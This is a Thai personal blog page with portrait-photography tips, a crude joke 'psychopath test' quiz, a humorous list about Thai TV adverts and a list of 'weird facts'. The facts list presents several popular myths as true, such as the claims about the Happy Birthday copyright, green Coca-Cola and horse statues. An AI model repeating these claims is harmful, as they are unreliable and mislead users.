ถ้าฉากหลังเป็นท้องฟ้า ทะเล ขอบฟ้า หรืออะไรก็ตาม ที่มีเส้นนอน พยายามอย่าจัดให้พาดผ่านคอนางแบบเด็ดขาด เพราะจะทำให้ได้ภาพในลักษณะ ?นางแบบคอขาด?
ถ้าจะให้ที่สุดดีควรจัดให้เส้นนอนอยู่สูงกว่าระดับศีรษะ หรือ ต่ำกว่าไหล่จึงจะทำให้ภาพดูดีขึ้น


*การวัดแสงที่หน้าให้ โฟกัสไปที่ลูกตาเป็นสำคัญ

?ถ่ายรูปลูกตาต้องชัดเสมอ? ถ้าหากไม่ชัดก็จะต้องมีเหตุผลมารองรับว่า...ทำไมถึงอยากให้ชัด

*ใบหน้าจะเป็นจุดแรกที่คนมอง อย่างน้อยที่สุด เราจะต้องเซ็ทให้แสงที่หน้าพอดีเสมอ ยกเว้นในกรณีที่เจตนาให้มืด หรือสว่างกว่าปกติ...แต่ก็ต้องมีเหตุผลมารองรับเสมอ


*จะเลือกขวา หรือ ซ้าย ดี

ปกติแล้วใบหน้าของคนเราทั้งสองซีก ?สวยไม่เท่ากัน? เรื่องนี้ช่างภาพเองจะต้องอาศัยการพินิจพิจารณาให้ดี ๆ หลังจากนั้นจึงค่อยพยายามจัดกล้องให้อยู่ฝั่งที่สวยกว่า หรือจัดแสงหลักให้อยู่ฝั่งที่สวยกว่า


*ตาโตสิ..ดูดีกว่า

ดังที่กล่าวข้างต้นแล้วว่า ใบหน้าของคนเราทั้ง 2 ซีก..สวยไม่เท่ากัน? คำถาม แล้วเราจะสังเกตได้อย่างไรล่ะ?
ใบหน้าซีกที่สวยกว่าดูไม่ยากครับ..มันมีเคล็ดลับอยู่ว่า ให้ดูที่ลูกกะตา ?หากลูกตาข้างไหนโตกว่า..ใบหน้าข้างนั้น คือ ข้างที่สวยกว่า? (อันนี้...ถือเป็น ?เคล็ดลับ? ที่รู้กันในหมู่ช่างภาพระดับเซียน ๆ ทั้งหลายครับ)


*ให้แสงครึ่งหน้า

ในกรณีที่สภาพของแสงที่ตกกระทบบนใบหน้าทั้งสองฟากมีความต่างกันมาก ผลที่ออกมาก็คือ ซีกหนึ่งสว่างจ้า แต่อีกหนึ่งมืด หากมีสภาพแสงในลักษณะนี้
ประการแรกให้ถามตัวแบบว่า ชอบสภาพแสงในลักษณะนี้หรือไม่
สภาพที่แหล่งกำเนิดแสงอยู่ด้านข้าง หากดูแล้วเห็นว่าจะทำให้ตัวแบบบถ้าดูแล้ว ?ดูไม่ดี? เราสามารถกำหนดเทคนิคให้ตัวแบบหันหน้าเข้าหาแสงเล็กน้อยก็จะดูขึ้นมากทีเดียว


*อย่าให้นางแบบหน้ามืด

หากจำเป็นที่เราจะต้องถ่ายภาพย้อนแสง ก็ให้ Fill flash เพื่อลบเงา(เปิดแสง)ที่ตัวแบบ (ยกเว้นในกรณีที่เราต้องการในลักษณะ Silhouette ก็ว่าไปอย่าง)


*เงยหน้านิดนึง..แล้วจะดี

กำหนดให้ตัวแบบเงยหน้าขึ้นนิดนึง ภาพจะออกมาดูดีกว่าหน้าตรง หรือก้มหน้างุด ๆ (ยกเว้นเจตนาให้ได้ภาพที่แสดงออกซึ่งอารมณ์อื่นใด???)
*เคล็ดลับหนึ่งในการดูว่าใบหน้าข้างไหนสวยกว่ากัน ก็คือ ให้สังเกตที่มุมปากเวลายิ้มขอวตัวแบบ (มุมปากข้างไหนยกสูงกว่ากัน ก็ข้างนั้นแหละครับ


*หนูไม่ใช่ภาพการ์ตูน(ถมดำ)นะ

นางแบบไม่ใช่ตัวการ์ตูน ดังนั้นเส้นผมของนางแบบจึงควรจะเห็นเป็นเส้นๆ ไม่ใช่ดำเป็นปื้น ถ้ามองแล้วเห็นผมดำเป็นปื้น ให้จัดแสงใหม่ ให้แสงกระทบผมให้ดี หรือหรี่ช่องรับแสงลงนิดนึงเพื่อให้ผมเป็นเส้น หรือ ใช้เทคนิค Rim Light นั่นเอง
(ซึ่งการใช้เทคนิคนี้...มีการวัดแล้ว สรุปว่าได้ว่าจะทำให้ตัวแบบ(นางแบบ)สวยขึ้น 18.75% รวมทั้งจะทำให้ผมสวยขึ้น 33.29%... (ว่าไปนั่น)

ไม่ใช่ทำบัตรประชาชนนะ

ควรหลีกเลี่ยงการถ่ายแบบตรง ๆ เหมือนถ่ายรูปติดบัตรประชาชน ทั้งนี้เพราะการที่จะถ่ายมุมหน้าตรงให้สวยนั้นเป็นเรื่องค่อนข้างยาก (แต่หากถึงจะถ่ายมุมตรงก็สวย มุมอื่นก็มักจะถ่ายได้สวยเช่น ลองเปลี่ยนมุม หรือ ลองหามุมสวยอื่น ๆ ดูบ้าง


*ทิศทางแสง

พยายามเลี่ยงแหล่งกำเนิดแสงซึ่งอยู่หน้าตรง ตรงหลัง ด้านบน ด้านล่าง เพราะแหล่งกำเนิดแสงในลักษณะนี้ ถ่ายให้สวยยาก (ยกเว้นภาพที่เจตนาให้เป็นเช่นนี้โดยเฉพาะ)

พยายามกำหนดให้ทิศทางแสงเข้าด้านข้าง เฉียง ๆ (สภาพแสงธรรมชาติที่เหมาะสมเช่นนี้ ก็คือ ในช่วงเวลาเช้าไม่เกิน 9 โมง และช่วงเวลาเย็น เลย 5 โมงไปแล้ว)

หรือ อีกกรณีหนึ่ง ก็คือ เลือกสภาพแสงเกลี่ย ๆ นุ่ม ๆ เช่น ในสภาพแสงรำไร ใต้ชายคา หรือ ในวันที่ฟ้าครึ้ม หรือ ให้เกลี่ยแสงโดยใช้แผ่นรีแฟล็ก (หรือแก้โดยการ fill flash : โดยการใช้กระดาษขาวมาทำเป็นกระบัง(ป้อง)ไว้เหนือ flash...และให้เงยหน้า flash ขึ้นด้านบน แล้วยิงสะท้อนแสงลงมา)


*วัดแสงอย่างไร

ในการถ่ายภาพบุคคล (โดยเฉพาะนางแบบ) นิยมวัดแสงแบบเฉพาะจุดที่หน้าเป็นสำคัญ หลังจากวัดแสงได้แล้วก็ให้แล้วกดปุ่ม AE ล็อค(ค่าแสง) จากนั้นจัดองค์ประกอบใหม่ (หรือในกล้องบางรุ่นอาจมีฟังก์ชั่นพิเศษ เช่น มีระบบ FlexiZone (CANONX หรือ ฟังก์ชั่น Area (FUJI) เป็นต้น)
ถ่ายไปเรื่อย ๆ ถ้าเปลี่ยนมุม หรือค่าแสงเปลี่ยน ก็เล็ง แล้วกดใหม่


*ใช้เลนส์ช่วงมุมกว้าง หรือ ช่วงเทเล...ดี

การถ่ายภาพคนให้ดูดี มักนิยมใช้กันในช่วง 85-145 มม. ทั้งนี้เพราะในช่วงเทเลนั้นจะได้ภาพที่ดี ให้สัดส่วนสวยที่สุด รวมทั้งทิ้งฉากหลังได้ดี ให้อารมณ์ได้นุ่มนวลดี เห็นนางแบบได้ชัดเต็มตา

*ในการถ่ายภาพบุคคลนั้นไม่จำเป็นว่าจะต้องใช้กว้างสุดเสมอไป ให้พิจารณาเลือกเอาตามความเหมาะสม เช่น f/5.6-8 ในช่วง 14 มม. และ f/8-16 สำหรับช่วง 50 มม. ส่วนเลนส์อื่น ๆ ก็ให้อาศัยหลักการคำนวณคล้าย ๆ กัน เช่น ช่วงรับแสงกลาง ๆ ประมาณ 2 สต็อป จากกว้างสุด ถึง 2 สต็อปจากแคบสุด เป็นต้น


*ประกายตา

?ยิ่งมีประกายตาวาววับ..ยิ่งสวย? พยายามเลือกมุมถ่าย หรือเปิดแฟลช หรือใช้รีแฟล็กช่วยบ้าง เพื่อให้ตามีประกาย


*มุมสวย/ไม่สวย

แต่ละคนมักจะมีมุมสวย และมุมไม่สวยประจำตัวอยู่ ช่างภาพที่ดีจะต้องมีเซนต์ตรงนี้ นั่นคือ จะต้องพยายามหาจุดเด่นนี่ให้เจอ เพราะนั่นคือ ตำแหน่งวางกล้องนั่นเอง

*ตำแหน่งยอดนิยมในการวางกล้อง ก็คือ ตำแหน่งระดับปลายจมูกของนางแบบ สูง หรือต่ำกว่าไม่มากนัก ไม่เกินตา และปาก ยกเว้นในกรณี หากพิจารณาแล้วเห็นว่า ?นางแบบมีมุมสวยเป็นพิเศษ? หรือ ?ต้องหลบเป็นพิเศษ? ก็อาจจะต้องกด หรือเงยกล้อง เข้าช่วย

*มุมมหาชนสำหรับถ่ายภาพนางแบบ คือ มุมหน้าเฉียง ตำแหน่งกล้องเล็งไปที่แนวแบ่งครึ่ง ระหว่างสันจมูก และดวงตา มุมนี้ส่วนใหญ่มักจะสวย


*ก้มนิด เงยหน่อย

จะถ่ายมุมก้ม หรือเงย ดี ไม่ได้ถือเป็นกฎตายตัวแต่อย่างใด ทั้งนี้ให้พิจารณาปัจจัยเอื้ออย่างอื่นด้วย กล่าวคือ ?ให้พิจารณาถึงโครงหน้าของนางแบบเป็นสำคัญ?

หลักการ ก็คือ อะไรไม่สวยก็ผลักไปให้ไกล ๆ จากกล้อง เช่น ถ้าคางไม่สวย หรือ กรามกว้าง ก็ให้ก้มหน้านิด ๆ นึง จะได้ไม่เห็นกราม หรือ ผู้ที่หน้าผากเถิก ให้เงยขึ้นมาหน่อย เป็นต้น

เคล็ดลับ : การก้มหน้าจะทำให้ตาโต และอยู่ใกล้กล้อง ซึ่งจะเป็นจุดดึงดูดสายตามากขึ้น


*ที่ควรปิดก็ให้ปิด... ที่ควรเปิดก็เปิด

เช่น ?มีช่วงโหนกแก้มสูง หรือมีกรามกว้าง?...ก็ให้ดึงผมลงมาปิดข้างแก้มสักหน่อยก็ดี หรือหันข้างหลบเอาไหล่บังนิดนึง เอียงหน้าหน่อยก็ได้

?หูกาง?... ดูแล้วเด่นเกินไป ก็ให้เกลี่ยผมมาปิดซะหน่อย หรือจะใช้เทคนิคนิคเบี่ยงข้างหลบมุมไป
(อย่าให้เห็นพร้อมกันทีเดียวทั้งสองข้าง)

?แก้มป่อง? ดูเป็นราย ๆ ไป เช่น บางคนถึงแก้มป่องแต่ก็น่ารัก ก็ให้เสยผมเปิดแก้มป่องไปเลยเพราะจะยิ่งช่วยเพิ่มความน่ารักขึ้นไปอีก

*ไม่ควรใส่แว่นตาดำถ่ายภาพอย่างยิ่ง หรืออาจจะเลี่ยงโดยให้ดันขึ้นไปเหน็บบนศรีษะ บางทีจะช่วยให้ดูสวยเก๋ เท่ห์ไปอีกแบบ (ก็ได้)


*Properties

ในที่นี้หมายถึงอุปกรณ์ประกอบฉากนั่นเอง ดอกไม้ เครื่องประดับ หนังสือ กระเป๋า หมวก ตุ๊กตา หมอนอิง รวมถึงอุปกรณ์อื่นใด โดยพยายามเลือกอันที่ดูแล้วน่ารัก ๆ เหมาะกับสถานที่ และนางแบบ

*อุปกรณ์ประกอบฉากเหล่านี้ ถ้าให้นางแบบได้ถือ อุ้ม หิ้ว หรือ อิง แอบ แนบ วาง ก็จะทำให้นางแบบไม่เขินมาก และช่วยสร้างบรรยากาศ และเรื่องราวได้ดีอีกด้วย


*ถ่ายคร่อม

การถ่ายคร่อม ให้ใช้หลักง่าย ๆ นั่นก็คือ ใช้แสงง่าย ๆ วัดแสงพื้นๆ ให้หน้าสว่างพอดี ๆ โอเวอร์นิด และอันเดอร์หน่อย

*หมายเหตุ : ความหมายของคำว่า ?ถ่ายคร่อม? ในที่นี้หมายรวมไปถึง ให้คร่อมแอ๊คชั่นของนางแบบเวลาโพสท่าด้วย เช่น ให้ตั้งเป็นถ่ายต่อเนื่อง หรือ ถ่ายเป็นชุด ชุดละอย่างน้อย 2-3 รูป เพื่อเลือกแอ๊คชั่นและอารมณ์ที่ดีที่สุด หมุนกล้องแนวตั้ง/แนวนอน ซูมเข้า/ออก เปลี่ยนองค์ประกอบ ขยันขยับย้ายจุดวางกล้องซ้าย/ขวา บน/ล่าง กด/เงย ไปยังมุมสวยมุมอื่น หรือไปยังฉากหลังอื่น ๆ ดูบ้าง

*อย่าขี้เหนียวหน่วยความจำ/ฟิล์ม/หน่วยความจำ จนเกินไปนัก ทั้งนี้เพราะเราอาจจะได้ภาพที่พอใจจริง ๆ เพียงไม่กี่ภาพเท่านั้นจากหลาย ๆ ภาพนั้นก็ได้


*โพสท่า

พยายามจัดวางท่าทางให้เป็นธรรมชาติ อย่าให้ดูว่าเจตนาเกินไป ให้ดูแล้วไม่ขัด ไม่งั้นจะทำให้ภาพที่ออกมาจะดูแข็งกระด้าง ฯลฯ

เคล็ดลับ :
ลองหาจังหวะดี ๆ และใช้การถ่ายแบบ Candid ดูบ้าง เพราะการถ่ายในลักษณะนี้มักจะถ่ายทอดอารณ์ได้กลมกลืน ?ดูดี...ไม่น่าเบื่อ?


*แต่งตัว แต่งหน้าซะหน่อย

หากเป็นไปได้พยายามแต่งตัวให้เข้ากับบุคลิก และให้ตัวแบบได้ปัดหน้าทาแป้ง ฯลฯ ทั้งนี้เพราะอย่างน้อยที่สุดการแต่งหน้าก็เพื่อกลบจุดด้อยบนใบหน้า..ไม่ให้เด่นเกินไป นั่นเอง


*คุยกันก่อน...

ก่อนที่จะเริ่มถ่ายภาพ ช่างภาพที่มีเซนต์ซะหน่อย ควรจะชวนนางแบบสนทนาพูดคุยซะก่อน

เหตุผลก็เพื่อไม่ให้นางแบบรู้สึกเขินอาย หรือรู้เกร็งจนเกินไป ซึ่งอาจจะแสดงท่าทางออกมาอย่างไม่เป็นธรรมชาติระหว่างการถ่ายภาพ

รวมทั้งและจะได้ทำความเข้าใจกันด้วยว่าจะให้รูปออกมาสไตล์ไหน อารมณ์ไหน

My Flickr

555
ในที่สุดผมก็รู้วิธีที่จะอวดรูปของผมได้
มันก็คือ Flickr นั่นเอง
อย่าลืมไปดูนะ (กดที่หัวเรื่องบทความ)


ปล: วันเสาร์ที่ 29/8/2009นี้ผมจะไปที่พัทยาเพื่อถ่ายรูป

วันอังคารที่ 25 สิงหาคม พ.ศ. 2552

ทดสอบเรื่องโรคจิต!!

โรคจิตนั้นเป็นคนที่เก็บกด ไม่ระบายออกในทุกๆเรื่อง พฤติกรรมของคุณจะบ่งชัดเจนว่าคุณเป็นโรคจิตหรือไม่ การยืน นั่ง
เดิน หรือ นอน ทุกอย่างที่ออกมาคุณจะไม่รู้ตัวเลย.........คุณเป็นแบบนี้รึเปล่าลอง มาทดสอบกันดู

1.ส่วนมากที่คุณจะมองหญิง/ชาย
ก.ใบหน้า
ข.หน้าอก
ค.ขอบกางเกงใน
ง.กระดูกเชิงกราน

2.ถ้ามีคนหน้าตาดีมองคุณ สิ่งที่คุณคิดคือ
ก.เค้าตาบอด
ข.เธอตาถึง
ค.เค้าชอบกู
ง.มองหาพ่อมึงเหรอ

3.หากคุณโดนมอเตอร์ไซด์ขับปาดหน้าคุณจะ
ก.ชูนิ้วกลางแล้วด่าแม่
ข.ชูนิ้วโป้งแล้วชมพ่อ
ค.ชูนิ้วนางข้างซ้ายแล้วบอกว่าเยส
ง.ชูนิ้วทั้ง 5 แล้วพูดว่าบ๊ายบาย

4.ถ้าคุณพบกางเกงในใช้แล้วของผู้หญิงตกอยู่ที่พื้นคุณจะ.....
ก.ไม่สนใจ
ข.เอามาดม
ค.เอามาซัก
ง.ถ่ายรูปเก็นไว้เป็นที่ระลึก

5.ถ้าคุณพบกางเกงในใช้แล้วของผู้ชายตกอยู่ที่พื้นคุณจะ.....
ก.เอามาดม
ข.เอามาชม
ค.เอามาใช้
ง.เอาไปขาย

6.ถ้าคุณเป็นลูกนายกคุณจะ
ก.ช่วยงานพ่อ
ข.ชูนิ้วโป้งแล้วชมพ่อ
ค.ซื้อสโมสรฟุตบอล
ง.ซื้อกางเกงในผู้ชาย ที่ข้อ 5 มันขาย

7.คุณว่า sex แบบไหนสนุกสุด
ก.กับเพศตรงข้าม
ข.กับเพศเดียวกัน
ค.กับตัวเอง
ง.กับสัตว์/สิ่งของ

8.คุณว่า sex แบบไหนแย่ที่สุด
ก.กับสัตว์ป่า
ข.สัตว์ครึ่งบกครึ่งน้ำ
ค.กับสัตว์ประหลาดจากต่างดาว
ง.กับสัตว์เซล์เดียว

9.ชุดชั้นในแบบไหนที่ทำให้คุณเกิดอารมณ์ทางเพศ
ก.ชุดลูกไม้สีดำ
ข.จีสตริงเห็นก้นงามๆ
ค.boxer ลายสกอต เป้าชาดนิดนิง
ง.เต็มตัวยาวถึงข้อแขนใช้ผ้ากันไฟ พร้อมหน้ากากกันสารพิษ

10.บนรถเมล์ที่แน่นเอี๊ยด ถ้าคุณเห็นคนสวย/หล่อ คุณจะ
ก.แกล้งหลับ
ข.แกล้งตาย
ค.ลุกให้เค้านั่ง
ง.แล้วนั่งตักเค้า

11.บนรถเมล์ที่แน่นเอี๊ยด เมื่อคุณเห็นหมีคุณจะ
ก.แกล้งตาย
ข.ปิดจมูก
ค.ลุกให้หมีนั่ง
ง.แล้วนั่งตักหมี

12.หนังสือเล่มใหนที่คุณชอบอ่าน เวลานั่งส้วม
ก.ประวัติศาสตร์ศิลปะในศตวรรษที่18
ข.Dictionary ของ Longman
ค.บทสวดมนต์ พร้อมท่องคาถา ชินบัณชร
ง.คู่มือขับเครื่องบินภาคปฎิบัติ

13.ประโยคแรกที่คุณพูด ตอนโทรไปหาคนอื่น
ก.(หายใจแรงๆ) ฮือๆ ใส่กางเกงในสีอ่ะไรอ่ะ ฮือ...
ข.(หายใจแรงๆ) ฮือๆ กางเกงใน ใส่สีอ่ะไรอ่ะ ฮือ...
ค.(หายใจแรงๆ) ฮือๆ กางเกงใน ใส่อะไรอ่ะ ฮือ...
ง.(หายใจแรงๆ) ฮือๆ ใส่สีกางเกงใน อะไรอ่ะ ฮือ...

14.ในสถานการณ์คับขันคุณจะ...
ก.ช่วยตัวเอง
ข.ช่วยผู้อื่น
ค.ช่วยซึ่งกันและกัน
ง.ช่วยด้วย....ยยยยยย

15.เวลาคุณอายคุณจะ
ก.จะม้วนตัว
ข.จะถอนขนหน้าแข้งคนอื่น
ค.จะกล้า
ง.จะฆ่าล้างโคตร

เมื่อคุณผ่านการทดสอบจาก 15 ข้อนี้แล้ว
.....................จะพบพฤติกรรมของคุณ บ่งชัดเจนว่า
คุณเป็นโรคจิตแน่นอน เพราะคนปกติธรรมดา เจอ 5 ข้อแรกก็เผ่นแล้ว ขอแนะนำไปพบจิตแพทย์ด่วน

วันจันทร์ที่ 17 สิงหาคม พ.ศ. 2552

ความจริงของโฆษนา

ขอขอบคุณ Bodinzone LinuxSIS คนโพสต์ ที่อาจจะเป็นรุ่นพี่เรา และwww.dek-d.com/board/view.php?id=1387799 คนต้นเรื่องนะ

1. ถ้าโฆษณาไหนต้องใช้โน้ตบุ้กประกอบฉาก มันจะต้องเป็น MacBook เท่านั้น(เย้ด ชอบว่ะ)

2. คุณแม่ใจดีในโฆษณาผงซักฟอกไม่มีจริงในโลก เพราะแม่ตัวจริงเจอลูกทำเสื้อเลอะแบบที่เห็นในโฆษณา อีตัวลูกโดนตบนมแตกตายตั้งแต่ก่อนเข้าบ้านแล้ว

3. โฆษณาของหน่วยงานของรัฐฯ มักจะดูเสล่อๆ

4. ขนมในโฆษณาขนมกุ๊บกิ๊บทั้งหลาย มันจะตัดปากถุงซะเรียบแปล้
ทั้งๆที่ในโลกความจริง ไม่มีใครเขาเอากรรไกรตัดฝากถุงอย่างนั้นซักคน

5. จนป่านนี้แล้ว อียูโรคัสตาร์ดเค้ก มันก็ยังหน้าด้านโฆษณาว่าเค้กมันไส้ไหลล้นทะลักทั้งๆที่ใครๆก็รู้ว่า เมนส์ปลวกยังเยอะกว่าไส้ขนมมันเลย --- สคบ. ช่วยจัดการด้วย

6. โฆษณาการบินไทย ใช้แอร์ดูสาวและสวยมาก แต่ของจริงบนเครื่องนั้นป้าที่สุด!

7. โฆษณาของ Dtac ไม่เคยใช้ดาราดังแสดง

8. หลายบริษัทเอาคนในบริษัทตัวเองนี่แหละ มาเล่นโฆษณาเองซะเลย ประหยัดดี!

9. บางทีเห็นโฆษณาเดียวกันฉายต่อติดๆกัน อันนั้นเขาตั้งใจจริงๆนะครับ

10. โฆษณาท่องเที่ยวไทยที่ป้าเบิร์ดเล่น เฟคมาก นั่นป้าวิ่งเล่นอยู่ในโลกความฝันหรือครับ? ( ฮ่า ๆ )

11. เมืองไทยเคยมีโฆษณาแชมพู ที่นางเอกผมเงาจนสะท้อนหน้าคนบนเส้นผมมาแล้ว!

12. และเมืองไทยก็เคยมีโฆษณาจั๊กกะแร้ขาวถึงขั้นมีแสงพุ่งออกมาจากจั๊กกะแร้มาแล้ว!

13. มีสินค้าหลายตัวที่ดัง และขายดีมาก โดยไม่เคยออกโฆษณาทีวีแม้แต่ครั้งเดียว

14. ห้องครัวในโฆษณาผงปรุงรสต่างๆ ดูดีและสะอาดเกินกว่าห้องความในโลกความจริง

15. ครีมบำรุงผิวสมัยนี้ มีอิทธิฤทธิ์ถึงขั้นใช้แล้วผัวเปลี่ยนพฤติกรรมได้ มหัศจรรย์มั้ยล่ะ!

16. สังเกตดีๆว่า พวกโฆษณาที่อ้างว่า 99% ของผู้ทดลองใช้พอใจ มันจะมีตัวหนังสือเล็กๆบอกว่าจริงๆแล้ว
สำรวจกับคนประมาณ 112 คนในประเทศแถวๆอเมริกาใต้

17. ทำไมเบียร์ต้องได้เหรียญทอง? ตกลงเอ็งจะขายเบียร์หรือไปวิ่งแข่งโอลิมปิก?

18. อีห้องแล๊บของ pond’s ที่เป็นห้องขาวทั้งห้อง ดูแล้วนึกว่าเป็นแล๊บ NASA

19. โฆษณาขนมหลอกเด็ก กล้องจะไม่ตั้งตรงๆ แต่จะหมุนไปหมุนมา ซูมเข้าซูมออกตลอด

20. โฆษณาน้ำยาปรับผ้านุ่ม เวลาดมผ้า จะมีดอกไม้พุ่งออกมาจากผ้าขนหนูทุกครั้ง

21. โฆษณาประตูน้ำโพลีคลินิก เป็นโฆษณาที่อุบาทว์มาก
เพราะทั้งโฆษณาไม่มีอะไรเลย นอกจากตัวหนังสือวิ่งๆ เหมือนใช้ powerpoint ทำ

22. ตัวหนังสือเล็กๆ ใต้จอที่เล็กจนอ่านไม่ออก หลายคนในวงการเรียกว่า “มดวิ่ง”

23. โฆษณาประเภทโปรโมชั่น ตอนจบมักมีคนจำนวนมากยืนกระจุกกัน กำหมัดชูมือ แล้วร้อง “เย้!”

24. โฆษณาเอ็มเค เรียงอาหารในหม้อสุกี้ได้โคตรเฟค มีใครเขากินสุกี้ประดิดประดอยกันแบบนี้ด้วยเหรอ?

25. โฆษณาของบาร์บีคิวพลาซ่าก็เช่นเดียวกัน ใส่ผักในกระทะเยอะเว่อร์! ชั้นไปร้านแกเพื่อกินเนื้อเว้ย!

26. โฆษณาของ “ไทยประกันชีวิต” นั้นโคตรเศร้า...

27. ในขณะที่ โฆษณาของ “เมิองไทยประกันชีวิต” นั้นโคตรฮา...

28. โฆษณาของโค้กจะแอบกัดเป๊ปซี่แบบเนียนๆอยู่เกือบทุกเรื่อง (ลองสังเกตดีๆ ...)

29. โฆษณาน้ำยาล้างจาน จะต้องมีฉากที่เอามือลูบจานแล้วได้ยินเสียง “วื้ด” เพื่อยืนยันความสะอาด

30. โฆษณารถกระบะ จะต้องมีฉากเลี้ยวโค้งหักศอก แอ่งน้ำขังบนพื้นสาดกระจายยยยย

31. โฆษณาเครื่องดื่มบรรจุขวด พรีเซนเตอร์ต้องกระดกขวดเท่านั้น ห้ามใช้หลอดดูดเด็ดขาด!

32. โฆษณาผ้าอนามัยทุกยี่ห้อ ใช้ของเหลวใสสีฟ้าหรือเขียวแทน...เอ่อ... นั่นล่ะครับ

33. มาม่าในชามในโฆษณา จะมีหมูสับลอยฟ่องเป็นแพ พร้อมผักและดอกไม้ใบหญ้าอีกมากมาย

34. โฆษณาไวเทนนิ่ง จะต้องมีฉากที่นางเอกค่อยๆลอกคราบทีละชั้นจากดำเป็นขาว

35. หลายคนคอนเฟิร์มว่าพรีเซนเตอร์ผู้ชายของโฆษณา NIVEA หล่อล่ำลากเลือดมาก...

36. ช่างก่อสร้างในโฆษณาปูนบางยี่ห้อ หน้าตาดีซะจนอยากจะทุบบ้านให้ช่างคนนี้มาซ่อมให้

37. โฆษณาแชมพู มักมีเนื้อเรื่องที่ไม่เกี่ยวกับแชมพู เช่น นางเอกไปสมัครงาน หรือเล่นคาราเต้ (โดยเฉพาะ แพนทีน ไปสมัครแข่งไวโอลีน )-*-

38. พรีเซนเตอร์ในโฆษณามักใส่เสื้อสีเดียวกับสีของผลิตภัณฑ์นั้นๆ

39. โฆษณาสินค้าทุกประเภทที่เกี่ยวกับการ “ฆ่าเชื้อ” หรือ “ทำความสะอาด” จะต้องมีฉากแบ่งครึ่งจอเพื่อเทียบกันซ้ายขวาเสมอ
(ข้างที่ใช้กับไม่ใช้)

40. และแม้ว่าสินค้านั้นจะฆ่าเชื้อได้สะอาดขนาดไหน เราจะเห็นภาพเชื้อโรคเหลืออยู่หย่อมเล็กๆเสมอ

41. เราจะไม่เห็นขวดเหล้าขวดเบียร์ในโฆษณาเครื่องดื่มแอลกอฮอล์แม้แต่ขวดเดียว

42. โฆษณาเดียวกัน ถ้าดูในโรงหนังมันจะได้อารมณ์กว่า เศร้ากว่า ฮากว่าดูที่บ้าน

43. เพลงบางเพลงดังได้เพียงเพราะโฆษณาหยิบมาใช้ (เช่นเพลงในโฆษณาชุด “แม่ต้อย”)

44. โฆษณาประเภท testimonial ที่ให้คนเคยใช้สินค้าออกมายืนยัน บางทีจริงแต่ชื่อ แต่คนแสดงไม่จริง
เพราะหน้าตาตัวจริงน่ากลัวจนกล้องถ่ายไม่ติด ...เอ้ย ไม่ดีพอจะขึ้นกล้องได้ จึงต้องใช้คนแทน

45. โฆษณาน้ำอัดลม คนดื่มแล้วจะต้องร้อง “อ้าหห์” เสมอ

46. มีโฆษณาหลายตัวที่ให้พรีเซนเตอร์เอาสินค้าแนบใบหน้าซะใกล้จนเกินเหตุ

47. ในไทยรัฐหน้าบันเทิง คอลัมน์ “บันเทิงไทยรัฐ” นี่มันโฆษณาเครื่องสำอาง
ชัดๆ!

48. เสียงเคี้ยวขนมในโฆษณามันฝรั่งทอดจะดัง “กร้วม” แบบไร้มารยาทสังคมที่สุด

49. บางทีเราก็มัวแต่ดูหน้าดูนมของพรีเซนเตอร์ จนลืมดูสินค้าไปโดยปริยาย

50. และโฆษณาบางเรื่อง ตลกมากมาย ดูจนจบก็จำชื่อไม่ได้

วันอาทิตย์ที่ 16 สิงหาคม พ.ศ. 2552

70 เรื่องแนวๆ

1.ยุงบินด้วยความเร็ว 5 ไมล์ต่อชั่วโมง...

2.ผีเสื้อบินด้วยความเร็ว 20 ไมล์ต่อชั่วโมง...

3.เส้นผมคน รับน้ำหนักได้ 3 กิโลกรัม...

4.เสียงกรนที่ดังที่สุดดังถึง 87.5 เดซิเบลล์

5.พอล แมคคาร์ที เป็นเจ้าของลิขสิทธิเพลงแฮปปี้เบิร์ดเดย์

ถ้าจะนำมาออกรายการ ต้องซื้อลิขสิทธิก่อน...

6.เหรียญทองโอลิมปิกต้องมีแร่เงินผสมอยู่ 92.5 เปอร์เซนต์...

7.หอเอนเมืองปิซาเอนไปทางใต้...

8.กษัตริย์หลุยส์ที่ 14 อาบน้ำทั้งหมด 3 ครั้งในชีวิต...

9.ฮิตเลอร์แสกผมข้างซ้าย...

10.ผู้หญิงที่เกาะฮาวายที่ทัดดอกไม้ที่หูข้างซ้าย แสดงว่ามีเจ้าของแล้ว...

11.เราไม่สามารถฆ่าตัวตายด้วยการกลั้นหายใจได้...

12.ผู้หญิง 3.9 เปอร์เซนต์ไม่ชอบใส่กางเกงใน...

13.ฮิปโปผายลมทางปาก...

14.ประเทศซาอุดิอราเบียไม่มีแม่น้ำ...

15.กังหันทั้งโลกหมุนทวนเข็มนาฬิกา ยกเว้นที่ไอร์แลนด์...

16.เด็กนักเรียนอายุ15 ปีขึ้นไปในบังคลาเทศจะถูกจับเข้าคุกถ้า"โกงข้อสอบ"...

17.ปลาที่อาศัยในน้ำลึกเกิน 800 เมตร จะไม่มีตา...

18.ผมคนเราจะร่วงประมาณ 200 เส้นต่อวัน...

19.ตัว"โอ"เป็นสระที่เก่าแก่ที่สุดในอังกฤษ...

20.คนพูดประมาณ 120 คำต่อนาที

21.ฝ่ามือและฝ่าเท้าของคนเราไม่สามารถไหม้ได้...

22.เม่นชอบช่วยตัวเอง...

23.ถ้าปลาไหลไฟฟ้าอยู่ในน้ำเค็ม จะถูกช็อตตาย...

24.ขั้นบันไดในไทยจะเป็นเลขคี่...

25.เจ้าฟ้าชายชาร์ลส์ชอบสะสมฝาโถส้วม...

26.คนมีโอกาสตายจากผึ้งต่อยมากกว่างูกัด...

27.ประเทศวาติกันมีประชากรประมาณ 1000 คน

28.เมื่อคุณจาม หัวใจคุณจะหยุดเต้นเสี้ยววินาที

29.มันเป็นไปมะได้อ่ะคับ ถ้าคุณจะจามโดยไม่หลับตา

30.เดิมโคคาโคล่าเป็นสีเขียว

31.ชื่อที่โหลที่สุดในโลกคือ Mohammed

32.กล้ามเนื้อที่แข็งแรงที่สุดในร่างกายคือลิ้น

33.แต่ละโพหลังไพ่ แสดงถึงกษัตริย์ที่ยิ่งใหญ่จากประวัติศาสตร์

โพดำ กษัตริย์เดวิด

ดอกจิก อเล็กซานเดอร์มหาราช

โพหัวใจ ชาร์ล เลอ มาญ

ข้าวหลามตัด จูเลียส ซีซาร์

34. อนุสาวรีย์ของใครสักคนที่อยู่บนหลังม้า และม้ายกสองขาขึ้นบนอากาศ

แปลว่าคนนั้นตายในสงคราม

35.ถ้าม้ายกขาข้าเดียวแปลว่า เขาบาดเจ็บในสงคราม และตายจากการบาดเจ็บนั้น

36.ถ้าทั้งสี่ขาของม้าอยู่บนพื้น แสดงว่าตายโดยธรรมชาติ

